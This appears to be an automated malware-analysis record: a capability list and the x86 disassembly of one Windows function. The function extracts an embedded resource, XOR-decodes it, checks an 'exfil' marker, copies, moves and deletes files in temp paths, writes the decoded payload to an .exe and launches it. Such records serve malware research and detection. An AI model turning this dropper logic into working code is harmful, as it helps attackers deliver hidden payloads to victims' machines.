Function at 0x4067fb
Capabilities:
Accept command line arguments
Copy file
Create process on windows
Delete file
Encode data using xor
Extract resource via kernel32 functions
Get common file path
Move file
Print debug messages
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe60
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
test eax, eax
je 0x40684c
mov ecx, eax
lea esi, [ecx + 1]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x406816
sub ecx, esi
cmp ecx, 0xb
jbe 0x40684c
push str._DEbL_acc
push eax
call fcn.00412340
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x40684c
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
add esi, 0xa
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0x435920
mov ebx, str.Kernel32.dll
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0x435940
push 0x28b
push 0
mov dword [ebp - 4], eax
call esi
push eax
call dword [ebp - 4]
push 0x435948
push ebx
mov dword [ebp - 4], eax
call esi
push eax
call edi
push dword [ebp - 4]
mov dword [ebp - 8], eax
push 0
call esi
push eax
call dword [ebp - 8]
push 0x435958
push ebx
mov dword [ebp - 8], eax
call esi
push eax
call edi
push dword [ebp - 4]
mov edi, eax
push 0
call esi
push eax
call edi
push dword [ebp - 8]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push esi
mov edi, eax
call fcn.00412310
mov ebx, eax
pop ecx
test ebx, ebx
jne 0x4068d4
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp esi, 0xa
jae 0x4068e0
xor eax, eax
jmp 0x406bc1
push esi
push edi
push ebx
call fcn.0041d6a0
mov al, byte [ebx]
xor ecx, ecx
inc ecx
add esp, 0xc
cmp esi, ecx
jbe 0x4068fc
xor byte [ecx + ebx], al
inc ecx
cmp ecx, esi
jb 0x4068f4
push 5
pop ecx
mov edi, str.exfil
lea esi, [ebx + 1]
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
jne 0x406bba
mov eax, dword [ebx + 6]
mov dword [ebp - 4], eax
mov edi, 0x200
push edi
lea eax, [ebp - 0x460]
push eax
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.PSAPI.DLL_GetModuleBaseNameA]
lea eax, [ebp - 0x260]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea eax, [ebp - 0xa60]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov eax, dword [ebp - 4]
shr eax, 1
lea edx, [ebx + 0xa]
push eax
xor eax, eax
mov dword [ebp - 0xc], edx
call fcn.004067c1
pop ecx
push dword [ebp - 4]
mov edi, eax
push dword [ebp - 4]
call fcn.004067c1
pop ecx
push eax
push edi
lea eax, [ebp - 0xa60]
push eax
lea eax, [ebp - 0x860]
push str._s_08x_ac__08x__08x.dat
push eax
call fcn.0040f418
lea eax, [ebp - 0x460]
push eax
lea eax, [ebp - 0x260]
push eax
mov ebx, str._s_s
lea eax, [ebp - 0xe60]
push ebx
push eax
call fcn.0040f418
add esp, 0x28
push esi
lea eax, [ebp - 0x860]
push eax
lea eax, [ebp - 0xe60]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov edi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
test eax, eax
je 0x4069de
push str.copy_create1_n
call edi
lea eax, [ebp - 0x860]
push eax
call edi
push str.copy_create2_n
call edi
lea eax, [ebp - 0x860]
push eax
call edi
push esi
push 0x80
push 3
push esi
push 7
push 0x80000000
push str..dataprguse2.wzl
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x460]
push eax
lea eax, [ebp - 0x260]
push eax
lea eax, [ebp - 0xe60]
push ebx
push eax
call fcn.0040f418
lea eax, [ebp - 0x460]
push eax
lea eax, [ebp - 0x260]
push eax
lea eax, [ebp - 0x860]
push str._s_s.del
push eax
call fcn.0040f418
add esp, 0x20
lea eax, [ebp - 0x860]
push eax
lea eax, [ebp - 0xe60]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
je 0x406acc
push str.this_run_no_mov_n
call edi
lea eax, [ebp - 0x460]
push eax
lea eax, [ebp - 0x260]
push eax
lea eax, [ebp - 0x860]
push ebx
push eax
call fcn.0040f418
add esp, 0x10
push esi
push 0x80
push 2
push esi
push 1
push 0xc0000000
lea eax, [ebp - 0x860]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
lea eax, [ebp - 0x460]
push eax
lea eax, [ebp - 0x260]
push eax
lea eax, [ebp - 0x460]
push eax
lea eax, [ebp - 0x260]
push eax
push str._s_s_DEbL_acc_s_s.del
jmp 0x406b2e
lea eax, [ebp - 0x460]
push eax
lea eax, [ebp - 0x260]
push eax
lea eax, [ebp - 0x860]
push str._s_s.exe
push eax
call fcn.0040f418
add esp, 0x10
push esi
push 0x80
push 2
push esi
push 1
push 0xc0000000
lea eax, [ebp - 0x860]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
lea eax, [ebp - 0x460]
push eax
lea eax, [ebp - 0x260]
push eax
lea eax, [ebp - 0x460]
push eax
lea eax, [ebp - 0x260]
push eax
push str._s_s.exe_DEbL_acc_s_s
lea eax, [ebp - 0x860]
push eax
call fcn.0040f418
add esp, 0x18
cmp ebx, 0xffffffff
je 0x406bab
push esi
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
mov dword [ebp - 8], esi
push dword [ebp - 0xc]
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x406bb1
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x44
lea eax, [ebp - 0x60]
push esi
push eax
call fcn.00416960
xor eax, eax
lea edi, [ebp - 0x1c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add esp, 0xc
xor eax, eax
inc eax
mov dword [ebp - 0x34], eax
mov word [ebp - 0x30], ax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x60]
push eax
push esi
push esi
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x860]
push eax
push esi
mov dword [ebp - 0x60], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x406bb1
push esi
jmp 0x4068ce
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x406bab
push ebx
call fcn.004122f0
pop ecx
pop edi
pop esi
pop ebx
leave
ret